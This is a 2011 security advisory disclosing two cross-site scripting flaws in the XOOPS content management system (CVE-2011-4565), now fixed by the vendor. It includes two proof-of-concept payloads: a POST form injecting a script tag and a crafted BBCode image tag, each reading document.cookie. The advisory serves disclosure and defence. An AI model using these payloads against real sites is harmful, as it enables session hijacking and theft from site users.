Cross-site Scripting (XSS) Vulnerabilities in XOOPS

Advisory ID:HTB23042
Product:XOOPS
Vendor:xoops.org
Vulnerable Versions:2.5.1.a and probably prior
Tested Version:2.5.1.a
Advisory Publication:August 24, 2011 [without technical details]
Vendor Notification:August 24, 2011
Public Disclosure:October 1, 2011
Latest Update:October 5, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2011-4565
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in XOOPS which could be exploited to perform cross-site scripting and script insertion attacks.

1) Cross-site scripting (XSS) vulnerabilities in XOOPS: CVE-2011-4565
The vulnerability exists due to input sanitation error in the "text" parameter in include/formdhtmltextarea_preview.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" action="http://HOST/include/formdhtmltextarea_preview.php">
<input type="hidden" name="html" value="1">
<input type="hidden" name="text" value="<script>alert(document.cookie)</script>">
<input type="submit">
</form>


2) Script insertion vulnerability in XOOPS: CVE-2011-4565
Input passed to the "[img]" BBCode tag is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user clicks on a specially inserted image.
Exploitation example:
[img width=300]http://www.xoops.org/images/logo.png?");alert(document.cookie);//[ /img]

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23042 - https://www.immuniweb.com/advisory/HTB23042 - Cross-site Scripting (XSS) Vulnerabilities in XOOPS
[2] XOOPS - xoops.org - XOOPS is easy to use dynamic web content management system written in PHP
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter